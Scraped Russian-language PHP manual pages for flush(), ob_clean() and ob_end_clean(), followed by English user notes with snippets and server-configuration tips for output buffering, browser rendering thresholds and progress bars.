I noticed that an output function call (i.e echo()) is somehow time expensive. When using buffered output, only one output function call is made and it seems to be much faster.
Try this :

<?php
your_benchmark_start_function();

for ($i = 0; $i < 5000; $i++)
    echo str_repeat ("your string blablabla bla bla", (rand() % 4) + 1)."<br>\n";

echo your_benchmark_end_function();
?>

And then :

<?php
your_benchmark_start_function();

ob_start ();
for ($i = 0; $i < 5000; $i++)
    echo str_repeat ("your string blablabla bla bla", (rand() % 4) + 1)."<br>\n";

echo your_benchmark_end_function();
ob_end_flush ();
?>


Сброс системного буфера вывода

  • « Функции контроля вывода
  • ob_clean »
  • PHP Manual
  • Функции контроля вывода
  • Сброс системного буфера вывода

flush

(PHP 4, PHP 5, PHP 7, PHP 8)

flush — Сброс системного буфера вывода

Описание

flush(): void

Функция очищает системный буфер вывода PHP, при этом всё содержимое буфера отправляется в браузер пользователя (с некоторыми исключениями), независимо от используемого бекенда PHP (CGI, веб-сервер и т. д.).

flush() не сможет переопределить схему буферизации вашего веб-сервера и никак не влияет на буферизацию браузера на стороне клиента. Функция также не влияет на механизм буферизации пользовательского PHP-кода. Это означает, что ob_flush() должен быть вызван перед flush(), чтобы очистить выходные буферы, если они используются.

Некоторые серверы, особенно под управлением Win32, будут по-прежнему продолжать буферизировать вывод вашего скрипта до передачи результатов в браузер.

Серверные модули для Apache, такие как mod_gzip, могут сами выполнять буферизацию, поэтому flush() не приводит к немедленной передаче данных клиенту.

Браузер может также буферизировать поступающие к нему данные перед отображением. Например, Netscape, буферизирует текст до тех пор, пока не получит конец строки или начало тега, и не будет отображать таблицы пока не будет замечен тег </table> самой внешней таблицы.

Некоторые версии Microsoft Internet Explorer начинают отображать страницу только после получения 256 байт вывода, поэтому может понадобиться отправить дополнительные пробелы перед сбросом, чтобы такие браузеры отобразили страницу.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Смотрите также

  • ob_flush() - Сбросить (отправить) буфер вывода
  • ob_clean() - Очистить (стереть) буфер вывода
  • ob_end_flush() - Сбросить (отправить) буфер вывода и отключить буферизацию вывода
  • ob_end_clean() - Очистить (стереть) буфер вывода и отключить буферизацию вывода

User Contributed Notes

fran at fran dot cr 28-Aug-2020 03:29
If you want to make flush work when using php-fpm from Apache httpd with mod_proxy_fcgi, since 2.4.31 you can append flushpackets=on to enable flushing, which is instant by default, and and flushwait=n where n is in milliseconds to delay the flushing time for performance seconds.

These values can be appended to the <Proxy> directive, e.g. <Proxy "fcgi://localhost/" flushpackets=on flushwait=500> or in ProxyPass and ProxyPassMatch lines.

The mod_proxy_fcgi documentation for 2.4 does not document this, but it is available in the 2.5 or trunk documentation.
glafarge 27-Mar-2020 06:20
When using PHP with mode CGI/FastCGI there is a new buffer (initiated by mod_fcgid with a default size of 65536 bytes). That causes `flush()` and `ob_flush()` not working as expected with implicit_flush(true).
Setting "OutputBufferSize 0" in mod_fcgid config resolves the issue.
Hope it helps !
Anonymous 07-Aug-2019 06:28
Regarding buffering by browser you can use:

$out=str_pad($yourMessage.'<br/>',1024);
print($out);
ob_flush();
flush();

Works for me in Firefox 60 ESR.
php nospace juju ta ggooggle mail 06-Oct-2015 10:53
combining some ideas i was finally able to get a long running script to give me real time feedback on what it was doing.  this was a wamp setup with php running as cgi.  i'm pretty sure that apache just wasn't sending any of the buffered output because it was trying to be helpful. also trying to be helpful, i hope this example solution helps someone.

<?php
// thx mandor at mandor
ini_set('max_execution_time', 0);
ini_set('implicit_flush', 1);
ob_implicit_flush(1);

echo 'doing something';  my_flush();
sleep(5);
echo 'doing something else'; my_flush();
sleep(5);
echo 'finally done - hooray';

function my_flush() {
  // following matt at hevanet's lead
  for ($i=0;$i<10000;$i++) echo ' ';
  ob_flush();
  flush();
}
ohcc at 163 dot com 10-Jan-2015 07:04
Try to add more white spaces if your ob_flush() and flush() don't work, especially under NGINX.
However, too many white spaces can be a challenge to your web browser.
<?php
    ob_clean();
    while(true){
        echo str_repeat(' ',1024*1024*4);
        echo 'hello, world ...<br />';
        ob_flush();
        flush();
        usleep(1000);
    }
php at stelio dot net 01-Oct-2013 11:26
For a Windows system using IIS, the ResponseBufferLimit takes precedence over PHP's output_buffering settings. So you must also set the ResponseBufferLimit to be something lower than its default value.

For IIS versions older than 7, the setting can be found in the %windir%\System32\inetsrv\fcgiext.ini file (the FastCGI config file). You can set the appropriate line to:
  ResponseBufferLimit=0

For IIS 7+, the settings are stored in %windir%\System32\inetsrv\config. Edit the applicationHost.config file and search for PHP_via_FastCGI (assuming that you have installed PHP as a FastCGI module, as per the installation instructions, with the name PHP_via_FastCGI). Within the add tag, place the following setting at the end:
  responseBufferLimit="0"
So the entire line will look something like:
  <add name="PHP_via_FastCGI" path="*.php" verb="*" modules="FastCgiModule" scriptProcessor="C:\PHP\php-cgi.exe" resourceType="Either" responseBufferLimit="0" />
Alternatively you can insert the setting using the following command:
  %windir%\system32\inetsrv\appcmd.exe set config /section:handlers "/[name='PHP_via_FastCGI'].ResponseBufferLimit:0"
Kris 29-Jun-2012 01:19
I had a bunch of problems trying to get flush working on my windows box, I finally found a solution after reading everyones here and it not working.

1) Set output_buffering = 0
2) Set zlib.output_compression = 0

I then used Wireshark to monitor network packets, and indeed the server was pusing the data, but the browser was not displaying it.. So it was a browser buffer issue (I am on Firefox 13)

For me I needed to send about 1k of data before it would display the data. To do this I added more header information..
 In php.ini I set default_charset = "utf-8"
And that was enough to give me enough for the buffer issue.

You can also try doing
echo str_repeat(" ", 1024), "\n";
at the start of the script.

hope this helps
seb dot field at gmail dot com 18-Sep-2010 03:52
If flush() function does not work. You must set next options in php.ini like:

--[code]--
 output_buffering = Off
 ;output_handler =
 zlib.output_compression = Off
 ;zlib.output_handler =
--[^code^]--

If things does not work you must view headers from the server and check `Server` string.
In my case, as the frontend was Nginx webserver and Apache work as backend.
Accordingly, buffering must be disabled in Nginx config file.
To stop buffering you must add next string to config file:

--[code]--
proxy_buffering off;
--[^code^]--

and restart Nginx daemon.  More information about  configuration you find in documentation on the nginx website.
jason@jasonbaumgartner@info 16-Jun-2009 05:18
Many of the suggestions below are very helpful but I would just like to clarify something.

If you are making calls to a .php script with AJAX (xmlHttpReq) and use flush, this will send data to your script HOWEVER it will not set the xmlHttpReq.readyState to 4 -- which is a requirement to use the information sent (Firefox does however allow you to use the responseText property with a readyState == 3 but IE will throw an error).

To get around this, you will need to make sure of a couple things:

In your Apache php.ini config file, check to make sure that output buffering is disabled:

output_buffering = off

Next, disable gzip compression for the .php script that is called from your AJAX script by using the excellent suggestion from Mandor by placing the following at the top of your script:

@apache_setenv('no-gzip', 1);
@ini_set('zlib.output_compression', 0);

What causes this problem is that while the php child process is running under apache, apache is waiting for the script to complete before completely closing the connection.  Scripts that send information directly to the browser with echos and prints will get away with using flush followed by a sleep command and then clean up procedures.  However, if you notice in the status bar of your browser window, the connection is still held open by apache until the script completed ("Transferring" ... yadda yadda).

By turning off the Apache compression, the connection is terminated directly after a flush while still giving the user the ability to run a sleep command followed by clean up code.

This bit me because the AJAX was returning <img> tags to newly created images by php.  The cleanup script would then remove those images after completion.

Since Apache held the connection open, the readyState only changed to 4 AFTER my php cleanup fired -- thereby erasing the links referred to my the <img> tags.

With this solution, the readyState will change to 4 BEFORE the sleep command begins.

I hope this saves someone a lot of time and frustration.  AJAX requests are an entirely different beast compared with simple outputting to a browser window.
mandor at mandor dot net 22-Dec-2008 07:20
This is what I use to turn off pretty much anything that could cause unwanted output buffering and turn on implicit flush:

<?php

    @apache_setenv('no-gzip', 1);
    @ini_set('zlib.output_compression', 0);
    @ini_set('implicit_flush', 1);
    for ($i = 0; $i < ob_get_level(); $i++) { ob_end_flush(); }
    ob_implicit_flush(1);

?>

If it still fails though, keep in mind that Internet Explorer and Safari have a 1k buffer before incremental rendering kicks in, so you'll want to output some padding as well.
Arerano 16-Nov-2008 06:58
This helped me getting flushing to work.
Using apache with deflate.

Turning compression off for this script: (add it somewhere at the top of the script)
apache_setenv('no-gzip', '1');

However, this only works if php is running as a module rather than a cgi-extension and safe mode must be disabled.

You can also turn the compression off for a directory by making a .htaccess file and adding the following entry:
mod_gzip_on Off

However that affects the whole directory.
Hope I could help.
Mr.KTO 12-Oct-2008 06:14
IE 7, Opera 9.6, any. All is quite simple. Today I just fogot what i do every night, :)

<?php
// All you need is 256 spaces first
echo str_repeat(" ", 256)."<pre>"; flush();

// and ANY TAG before \r\n
echo "working...<br/>\r\n"; flush(); sleep(1); // this in cycle
?>
Lucas 27-Aug-2008 03:12
I just had some problems with flush() and ob_flush(). What I did to resolve this problem took me some time to figure out so I'd like to share what I came up with.

The main problem is the php setting "output_buffering" which can be set too large and will prevent your text from outputting. To change this value you can either set it in php.ini or you can add the line

php_value output_buffering "0"

to your .htaccess file. It will not work with ini_set() since it is PHP_INI_PERDIR.

Next thing is to begin with ob_start();
Then you need
ob_flush();
flush();
before any echo or print.

Your code might look like this:

<?php
ob_start();

for($i=0;$i<70;$i++)
{
    echo 'printing...<br />';
    ob_flush();
    flush();

    usleep(300000);
}

?>

Hope this helps anyone with the same problems.
David 07-May-2008 02:32
mod_security 2.x core rules will also prevent flush() from working.
chuck at artistan dot org 27-Jun-2007 06:57
had problems flushing tables to screen.
this worked for me

<?php
if (ob_get_level() == 0) ob_start();
loop{
    tables and stuff
    echo str_pad("<br>\n",8);
}
ob_flush();
flush();  // needed ob_flush
usleep(50000);// delay minimum of .05 seconds to allow ie to flush to screen
?>
mbilliet at gmail dot com 13-May-2007 03:13
Hello,

I had the same problems with sending a javascript after the <body></body> content has been sent to the browser (the script updates the content of an iframe).

Two solutions work for me:
   - add enough data (i.e.: extra dummy text like spaces) or,
   - echo the '</body>' tag at the end of the page

Note, that for the latter to work one should:
   - turn of output_buffering in php.ini and either:
      * turn on implicit_flush in its php.ini or,
      * call ob_implicit_flush(); at the beginning of a script

I preferr echoing the '</body>' tag at the end as it doesn't require any extra data to be sent over the wire and its much a neater coding technique.

Notes:
   - these worakarounds aren't needed when using perl and cgi,... .
   - you can leave the zlib.output_compression in your php.ini switched on

Kind regards and hoped this is of any help.

Maurits
macott[D0T]daiato[4T]gmail[D0T]com 24-Apr-2007 12:17
If flush() don't work remember to check if you have any antivirus caching the data sent to the browser.
Leon 30-Mar-2007 04:14
I've spent days trying to figure out why flush didn't work all of a sudden, while it used to work perfectly. Apparently, it was McAfee Spamkiller that caused problems. Disabling it didn't work, I had to completely remove it. Hope this helps someone.
Kirk 06-Feb-2007 12:25
If you're not explictly using the buffering functions, then ob_flush() is only necessary if output buffering is turned on in your php.ini file.

flush() is only necessary if implicit_flush is turned off in your php.ini file. Setting implicit_flush to on will remove the need for all these flush() calls, but it's generally only good in an extremely controlled environment. Turning on implicit_flush in a production environment can be bad.
no at spam dot com 03-Aug-2006 11:51
ob_flush();flush();

Not the other way around, because it wont work.
vlad at modomail dot com 05-Apr-2006 06:46
Sorry if this is off topic, but it's the closest place I could find :)  I had an issue with essentially running a CPU intensive task while updating the browser with a progress bar via javascript and flushing the buffer a lot.

When the script was running, it effectively blocked other pages from running.  I had a few extra httpd_preforks processes just waiting to be used, but they just sat there.  I wasn't reading a file, locking database tables or anything that I would suspect an exclusive lock on, just outputting a bunch of text to the browser.  I even tried throttling my loops to see if it was processor related but still had problems.

Finally, I found this in the php.ini file and changed the On to Off and it worked.

[Sockets]
; Use the system read() function instead of the php_read() wrapper.
sockets.use_system_read = Off

Posting in case someone else has the same issue (or if someone knows why this would make a difference :) ).
mega023 at gmail dot com 25-Nov-2005 03:54
If flush is not working probably mod_gzip is enabled.
To disable it just add following lines to .htaccess

<IfModule mod_gzip.c>
mod_gzip_on no
</IfModule>
mikael at oebb dot net 03-Oct-2005 01:47
Hi all.
Been scratching my head over data NOT flushed to IE (6) even though I tried strpad 4096 chars, all headers OK,  TABLE and no TABLE, flush and ob_flush - still a blank page. Tried adding a sleep(1) before flushing - and everything worked as a charm.

/Mikael
20-Sep-2005 12:37
In my testing, Internet Explorer 6.0 wouldn't flush anything nested in <table> or <td> tags, regardless of padding. But at the <body> level everything flushed with no fuss -- no padding or tags required.

Both Firefox 1.0 and Safari 2.0 could flush within tables, and both required a tag after the text (like <br>). Safari could flush only after the first 1024 characters where received. Firefox needed at least 8 characters per flush (but it could flush anything at the <body> level).

So the only thing that worked on all those browsers was this:

<html>
<body>
<?php  // not in table tags for IE
echo str_pad('',1024);  // minimum start for Safari
for ($i=10; $i>0; $i--) {
    echo str_pad("$i<br>\n",8);
    // tag after text for Safari & Firefox
    // 8 char minimum for Firefox
    flush();  // worked without ob_flush() for me
    sleep(1);
}
?>
</body>
</html>
js at jeansebastien dot com 16-Jul-2005 11:41
This will show each line at a time with a pause of 2 seconds.
(Tested under IEx and Firefox)

<?php

if (ob_get_level() == 0) ob_start();

for ($i = 0; $i<10; $i++){

        echo "<br> Line to show.";
        echo str_pad('',4096)."\n";

        ob_flush();
        flush();
        sleep(2);
}

echo "Done.";

ob_end_flush();

?>
MOELZE ?T GMX DOt DE (Michael) 15-May-2005 04:38
It is a bit complicated to work with the funktion flush() and you have to experiment with it a bit.
So if you design a site which has a timeloop at the end that calls a other site via a form data input (Data Submit) you have
to give something out to the buffer to get that new site loaden quick.

For example:

<?php
$instant=gettimeofday();
$timenow=$instant["sec"];//Start Time

//timeloop(e.g. for security_save after 30 min)
while (1) { echo "<b></b>";//Useless (only to quickload next
                                    //or same Site when do a switch)
flush();                          //giveout buffer
$instant=gettimeofday();
$timeactual=$instant["sec"]; //get Actual Time in Secs
$flag=(($timeactual>$timenow+$diff)? 1:0);//$diff=switchTime
if ($flag) { what_do_at_switch_Time();//Sec.Save etc.etc.
$timenow=$timeactual; } //Set new Start Time
sleep(5); //Or so...(Important)
} //End of while-Loop
?>

So you can programm a security save or other function in your site and if you do a switch the upload of the new or same site (the called site) works...
Alex 22-Apr-2005 02:35
Modified progress bar.. Works in IE, Mozilla+FF.

<html>
<head>
<style type="text/css"><!--

div {
 margin: 1px;
 height: 20px;
 padding: 1px;
 border: 1px solid #000;
 width: 275px;
 background: #fff;
 color: #000;
 float: left;
 clear: right;
 top: 38px;
 z-index: 9
}

.percents {
 background: #FFF;
 border: 1px solid #CCC;
 margin: 1px;
 height: 20px;
 position:absolute;
 width:275px;
 z-index:10;
 left: 10px;
 top: 38px;
 text-align: center;
}

.blocks {
 background: #EEE;
 border: 1px solid #CCC;
 margin: 1px;
 height: 20px;
 width: 10px;
 position: absolute;
 z-index:11;
 left: 12px;
 top: 38px;
 filter: alpha(opacity=50);
 -moz-opacity: 0.5;
 opacity: 0.5;
 -khtml-opacity: .5
}

-->
</style>
</head>
<body>

<?php

if (ob_get_level() == 0) {
    ob_start();
}
echo str_pad('Loading... ',4096)."<br />\n";
for ($i = 0; $i < 25; $i++) {
    $d = $d + 11;
    $m=$d+10;
    //This div will show loading percents
    echo '<div class="percents">' . $i*4 . '%&nbsp;complete</div>';
    //This div will show progress bar
    echo '<div class="blocks" style="left: '.$d.'px">&nbsp;</div>';
    flush();
    ob_flush();
    sleep(1);
}
ob_end_flush();
?>
<div class="percents" style="z-index:12">Done.</div>
</body>
</html>
Marty 14-Apr-2005 08:33
This is an extention of Rusty's comment below:

After sitting here for hours trying to make IE6 flush data out in the middle of a page (with it working perfectly in Firefox), I finally figured out the problem. IE will not display flushed data (even if it has it) unless the table that contains it is complete.

Every new element you want IE to display must not be in ANY kind of table at all. You must end all your tables.
Ghostshaw at spymac dot com 07-Apr-2005 04:45
I would like to point out that there is a function to replace ob_flush and flush. If you set ob_implicit_flush(true); at the top of the page it will automatically flush any echo or print you do in the rest of the script.

Note that you still need a minimum amount of data to come through the browser filter. I would advice using str_pad($text,4096); since this automatically lenghtens the text with spaces to 4 KB which is the minimum limit when using FireFox and linux.

I hope this helps you all out a bit.
matt at nospamplease dot hevanet dot com 21-Mar-2005 10:42
Like IE, Safari needs a fair amount of data before it'll display anything, actually more than explorer.  The following code works for me in Firefox and Safari, and should work in IE as well.

<?php

for($i = 0; $i < 40000; $i++)
{
echo ' '; // extra spaces
}
// keeps it flowing to the browser?
flush();
// 50000 microseconds keeps things flowing in safari, IE, firefox, etc
usleep(50000);

?>

This code came from a comment on a blog discussing browser functionality with flush();
crmacd at yahoo dot com 04-Mar-2005 03:28
I figured out a way to create a simple progress bar that is for the most part cross platform. Seeing as I got my ideas from this site it's only share to give back to the community.

Note: Something interesting about browser buffering... you have to have the <html><body> for Firefox and some other browsers to recognize items by their id in Javascript. So I recommend using some sort of header function before calling this function.

<?php

function fn_progress_bar($intCurrentCount = 100, $intTotalCount = 100)
{
    static $intNumberRuns = 0;
    static $intDisplayedCurrentPercent = 0;
    $strProgressBar = '';
    $dblPercentIncrease = (100 / $intTotalCount);
    $intCurrentPercent = intval($intCurrentCount * $dblPercentIncrease);
    $intNumberRuns++;

    if(1 == $intNumberRuns)
    {
        $strProgressBar = <<< BAR
<table width='50%' id='progress_bar' summary='progress_bar' align='center'><tbody><tr>
<td id='progress_bar_complete' width='0%' align='center' style='background:#CCFFCC;'>&nbsp;</td>
<td style='background:#FFCCCC;'>&nbsp;</td>
</tr></tbody></table>
<script type='text/javascript' language='javascript'>
function dhd_fn_progress_bar_update(intCurrentPercent)
{
    document.getElementById('progress_bar_complete').style.width = intCurrentPercent+'%';
    document.getElementById('progress_bar_complete').innerHTML = intCurrentPercent+'%';
}
</script>
BAR;
    }
    else if($intDisplayedCurrentPercent <> $intCurrentPercent)
    {
        $intDisplayedCurrentPercent = $intCurrentPercent;
        $strProgressBar = <<< BAR
<script type='text/javascript' language='javascript'>
dhd_fn_progress_bar_update($intCurrentPercent);
</script>
BAR;
    }
    if(100 <= $intCurrentPercent)
    {
        $intNumberRuns = $intDisplayedCurrentPercent = 0;
        $strProgressBar = <<< BAR
<script type='text/javascript' language='javascript'>
document.getElementById('progress_bar').style.visibility='hidden';
</script>
BAR;
    }
    echo $strProgressBar;
    flush();
    ob_flush();
}

?>
siggi AT june systems DOT com 04-Mar-2005 07:54
After searching through the PHP site, google and various forums, not finding a solution to my script not outputting anything while calling flush and ob_flush, I thought of trying to tell PHP to call:

session_write_close();

before starting echo'ing. It worked like a charm. I couldn't find any references to this, so I hope this note will help someone in the future.
Squ1sher 01-Feb-2005 12:25
On Windows xampp 1.3 with php 4.3.4 is use this functions
to force a flush.
<?php
function dummyErrorHandler ($errno, $errstr, $errfile, $errline) {
}

function forceFlush() {
    ob_start();
    ob_end_clean();
    flush();
    set_error_handler("dummyErrorHandler");
    ob_end_flush();
    restore_error_handler();
}
?>

ob_end_flush generates a warning, which is supressed, using the dummy-errorhander. You could also use @, but then nusphere will also print the warning.
Rusty 24-Feb-2004 09:25
Netscape will flush the output as expected at the point it is called from within your script. IE, however, needs a boost.

IE seems to have a condition where it will flush data when it hits an end (</table>) tag AND has at least 256 chars of data.

So, pad your output with necessary spaces, wrap your progressing data around open (<table>) and end (</table>) tags, and then call flush() so that one script will work for Netscape as well.

TESTING ENVIRONMENT
IE: Ver/6.0.2800
Netscape: Ver/7.1
PHP: Ver/4.3.4
Apache: Ver/1.3.27
m@rco 29-Oct-2003 07:22
in order to display in HTML pages something like a "progress bar" or if you want to force the web server to flush output to the browser, or the browser to flush as well, you can print a long enough "dummy" string to make the output buffer grow, as you probably know, like:

<?php
print "[";

for($i = 0; $i < 100; $i++){
  $spaces.=" ";
} // for

//and then

for($i = 0; $i < 10; $i++){
  for($ii = 0; $ii < 200000; $ii++){
    //do something slow here
  } // for
  print "$spaces|";
  flush();
} // for

print "]";

/*
but this somethin may be not really what you expect in
a progress bar, as it prints spaces (although rendered as single by the browser) between the bar units..
you can solve this using
  $spaces.="<!-- bufferme -->";

/*

print "[";

for($i = 0; $i < 100; $i++){
  $spaces.="<!-- bufferme -->";
} // for

//and then

for($i = 0; $i < 10; $i++){
  for($ii = 0; $ii < 200000; $ii++){
    //do something slow here
  } // for
  print "$spaces|";
  flush();
} // for

print "]";

//which looks nice as a progress bar..
?>
scottmacvicar at ntlworld dot com 30-Sep-2003 07:40
Regarding Apache2
flush() will produce the same results as ob_flush() when output buffering is involved.


Очистить (стереть) буфер вывода

  • « flush
  • ob_end_clean »
  • PHP Manual
  • Функции контроля вывода
  • Очистить (стереть) буфер вывода

ob_clean

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

ob_clean — Очистить (стереть) буфер вывода

Описание

ob_clean(): bool

Эта функция очищает содержимое выходного буфера, не отправляя его в браузер.

Эта функция не уничтожает буфер вывода, как это делает ob_end_clean().

Буфер вывода должен запускаться функцией ob_start() с флагом PHP_OUTPUT_HANDLER_CLEANABLE. Иначе ob_clean() не сработает.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • ob_flush() - Сбросить (отправить) буфер вывода
  • ob_end_flush() - Сбросить (отправить) буфер вывода и отключить буферизацию вывода
  • ob_end_clean() - Очистить (стереть) буфер вывода и отключить буферизацию вывода

User Contributed Notes

ngoc dot lo dot dang at gmail dot com 21-Jun-2017 09:24
Note that ob_clean() and ob_end_clean() do not clean header sent with header()
alexander at mralexander dot ca 07-May-2014 03:40
In case there is nothing output yet to the buffer and then implementing the ob_clean() a (soft) error notice would be generated such as the following:

Notice: ob_clean() [ref.outcontrol]: failed to delete buffer. No buffer to delete. in [file-path]

you could do a simple check with "ob_get_contents()" to make sure that there is anything in the buffer.
meustrus 12-Dec-2013 08:59
@cornel: It's easy enough to say "Don't do that" when you think you've got the person right in front of you. But one doesn't always have the original coder, or even one of a dozen of the original coders. Are you really suggesting that it would be wrong to use this function as a band-aid when the alternative may be looking through hundreds of source files you didn't write for errors you didn't introduce?

To your point, though, it is (or should be) a commonly accepted best practice to not put closing PHP tags at the end of files. When, however, enforcing that would take a time machine, it's appropriate to use ob_clean() as a band-aid to make dynamically generated images work as expected.
cornel at scoalaweb dot com 21-Dec-2012 11:02
Don't use ob_clean() to clear white-space or other unwanted content "accidentally" generated by included files.
Included files should not generate unwanted content in the first place.
If they do, You are doing something wrong, like inserting white-space after "?>" (there should not be a "?>" at the end of PHP files: http://php.net/manual/en/language.basic-syntax.phptags.php ).
lev at taintedthoughts dot com 12-Jun-2007 02:23
I find this function incredibly useful when manipulating or creating images in php (with GD).

I spent quite a while searching through a large number of included files to find where I had a undesired space after php's ending tag - as this was causing all my images on the fly to break due to output already being set. Even more annoying was that this was not caught not php's error reporting so there was no reference to the problem line(s) in my log file. I don't know why error reporting wouldn't catch this since it was set to accept warnings, and the same thing had been caught in the past.

Nevertheless, I never did find the line(s) that were adding extra spaces or new lines before my images were being generated, but what I did instead was add this handy function right before my image manipulation code and right after the include/require code.

For example:

<?php

// require some external library files
require ("lib/somelibrary.php");
require ("lib/class/someclass.php");

// clean the output buffer
ob_clean();

// simple test image
header("Content-type: image/gif");
$im = imagecreate (100, 50);
imagegif($im);
imagedestroy($im);

?>

While this may seem trivial a trivial use of the function, it in fact is incredibly useful for insuring no extra spaces or new lines have already been output while making images in php. As many of you probably already know, extra lines, spacing and padding that appears prior to image-code will prevent the image from being created. If the file "lib/somelibrary.php" had so much as an extra new line after the closing php tag then it would completely prevent the image from working in the above script.

If you work on an extremely large project with a lot of source and required files, like myself, you will be well-advised to always clear the output buffer prior to creating an image in php.


Очистить (стереть) буфер вывода и отключить буферизацию вывода

  • « ob_clean
  • ob_end_flush »
  • PHP Manual
  • Функции контроля вывода
  • Очистить (стереть) буфер вывода и отключить буферизацию вывода

ob_end_clean

(PHP 4, PHP 5, PHP 7, PHP 8)

ob_end_clean — Очистить (стереть) буфер вывода и отключить буферизацию вывода

Описание

ob_end_clean(): bool

Эта функция удаляет содержимое самого верхнего буфера вывода и отключает эту буферизацию. Если вы хотите использовать содержимое буфера, то вам необходимо вызвать ob_get_contents() перед ob_end_clean(), так как все содержимое буфера удаляется при вызове ob_end_clean().

Буфер вывода должен запускаться функцией ob_start() с флагами PHP_OUTPUT_HANDLER_CLEANABLE и PHP_OUTPUT_HANDLER_REMOVABLE. Иначе не сработает ob_end_clean().

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки. Основной причиной неудачного завершения работы функции является её вызов без активного буфера или если буфер не может быть удалён (специальный тип буфера).

Ошибки

Если функция завершается ошибкой, генерируется E_NOTICE.

Примеры

Следующий пример показывает простой способ избавиться от всех выходных буферов:

Пример #1 Пример использования функции ob_end_clean()

<?php
ob_start();
echo 'Текст, который не отобразится.';
ob_end_clean();
?>

Смотрите также

  • ob_start() - Включение буферизации вывода
  • ob_get_contents() - Возвращает содержимое буфера вывода
  • ob_flush() - Сбросить (отправить) буфер вывода

User Contributed Notes

baklanoid at gmail dot com 23-Apr-2020 09:34
If there is no confidence about output buffering (enabled or not),
you may try these guards:

<?php

while (ob_get_level() !== 0) {
  ob_end_clean();
}

// or

while (ob_get_length() !== false) {
  ob_end_clean();
}

?>
Anonymous 19-Oct-2017 07:04
To safely clear and close all non-lethal output buffers:

<?php

function ob_end_clean_all() {
    $handlers = ob_list_handlers();
    while (count($handlers) > 0 && $handlers[count($handlers) - 1] != 'ob_gzhandler' && $handlers[count($handlers) - 1] != 'zlib output compression') {
        ob_end_clean();
        $handlers = ob_list_handlers();
    }
}
Sam Yong - hellclanner at live dot com 04-May-2011 10:14
Take note that if you change zlib output compression setting in between ob_start and ob_end_clean or ob_end_flush, you will get an error: ob_end_flush() failed to delete buffer zlib output compression

Example:

<?php

ob_start();

$output = ob_get_contents();

ini_set('zlib.output_compression', '1');

ob_end_clean();

?>

ob_end_clean(); in this example will throw the error.
netom at elte dot hu 21-Jan-2010 04:02
Notice that ob_end_clean() does discard headers.

If you would like to clear the output buffer, but not the headers (because you use firephp for example...), than this is the solution:

<?php
   ...

    $headers = array();
    if ( !headers_sent() ) {
      $headers = apache_response_headers();
    }

    ob_end_clean();
    ob_start();

    if ( !empty( $headers ) ) {
      foreach ( $headers as $name => $value ) {
        header( "$name: $value" );
      }
    }

   ...
?>

I use it in a general exception handler in a web application, where I clear the buffer (but not the debug-info-containing headers), and send a 500 error page with readfile().

Good PHPing,

Tamas.
tyler @ 10-Aug-2008 04:39
In reference to <geoff at spacevs dot com> where he states, "If you call ob_end_clean in a function registered with 'register_shutdown_function', it is too late, any buffers will have already been sent out to the client.", here is a workaround I came up with.

<?php

function ClearBuffer($Buffer) {
    return "";
}

function Shutdown() {
    ob_start("ClearBuffer");
}

register_shutdown_function("Shutdown");

?>

This will wipe out all the contents of the output buffer as it comes in. Basically its the same as "STDOUT > /dev/null".
geoff at spacevs dot com 22-Jul-2007 05:47
If you call ob_end_clean in a function registered with "register_shutdown_function", it is too late, any buffers will have already been sent out to the client.
everling 11-Nov-2006 02:04
Keep in mind that mrfritz379's example (#49800) is just an example. You can achieve that example's result in a more efficient manner without using output buffering functions:

echo "<p>Search running. Please be patient. . .";
$output = "<p>FileList: </p>\n";
if (is_dir($dir)) {
  $dh = opendir($dir);

  while (($fd = readdir($dh)) != false) {
    echo " .";
    $output .= $fd;
  }
}
echo "</br>Search Complete!</p>\n";
echo $output;

In addition to John Smith's comment (#42939), ob_gzhandler() may still set the HTTP header "Content-Encoding" to "gzip" or "deflate" even if you call ob_end_clean(). This will cause a problem in the following situation:

1. Call ob_gzhandler().
2. Echo "Some content";
3. Call ob_end_clean().
4. Echo "New content";

In the above case, the browser may receive the "Content-Encoding: gzip" HTTP header and attempts to decompress the uncompressed "New content". The browser will fail.

In the following situation, this behaviour will go unnoticed:

1. Call ob_gzhandler().
2. Echo "Some content";
3. Call ob_end_clean().
4. Call ob_gzhandler().
5. Echo "New content";

This is because the second ob_gzhandler() will mask the absence of the first ob_gzhandler().

A solution would be to write a wrapper, like John Smith did, for the ob_gzhandler().
Adam of Fusion Bay 18-May-2006 12:38
You may want to be careful about calling ob_end_clean() from within your call-back function. I believe this can produce an endless-loop within PHP.
mrfritz379 08-Feb-2005 06:14
This may be posted elsewhere, but I haven't seen it.
To run a progress indicator while the program is running without outputting the output buffer, the following will work:

echo "<p>Search running. Please be patient. . .";
$output = "<p>FileList: </p>\n";
if (is_dir($dir)) {
   $dh = opendir($dir);

   while (($fd = readdir($dh)) != false) {
      echo " .";
      ob_start();
      echo $fd;
      $output .= ob_get_contents();
      ob_end_clean();
    }
}
echo "</br>Search Complete!</p>\n";
echo $output;

The program will continue to print the " ." without printing the file list. Then the "Search Complete" message will print followed by the buffered file list.
John Smith 04-Jun-2004 04:39
Note that if you started called ob_start with a callback, that callback will still be called even if you discard the OB with ob_end_clean.

Because there is no way of removing the callback from the OB once you've set it, the only way to stop the callback function from having any effect is to do something like:

<?php
$ignore_callback = false;
ob_start('my_callback');
...
if($need_to_abort) {
   $ignore_callback = true;
   ob_end_clean();
   ...
}

function my_callback(&$buffer) {
  if($GLOBALS['ignore_callback']) {
     return "";
  }
  ...
}
?>
daijoubuNOSP at Mvideotron dot com 22-Feb-2004 01:11
About the previous comment:
You can also relay on ETag and simply use time()

<?php
$time = time();
$mins = 1;
if (isset($_SERVER['HTTP_IF_NONE_MATCH']) and str_replace('"', '', $_SERVER['HTTP_IF_NONE_MATCH'])+($mins*60) > $time)
{
    header('HTTP/1.1 304 Not Modified');
    exit();
}
else
{
    header('ETag: "'.$time.'"');
}
echo 'Caching for ', $mins*60, 'secs<br/>', date('G:i:s');
?>
programmer at bardware dot de 27-Jun-2003 06:32
You might want to prevent your script from executing if the client already has the latest version.
You can do it like so:

ob_start();

$mtime=filemtime($_SERVER["SCRIPT_FILENAME"])-date("Z");
$gmt_mtime = date('D, d M Y H:i:s', $mtime) . ' GMT';

$headers = getallheaders();

if(isset($headers["If-Modified-Since"])) {
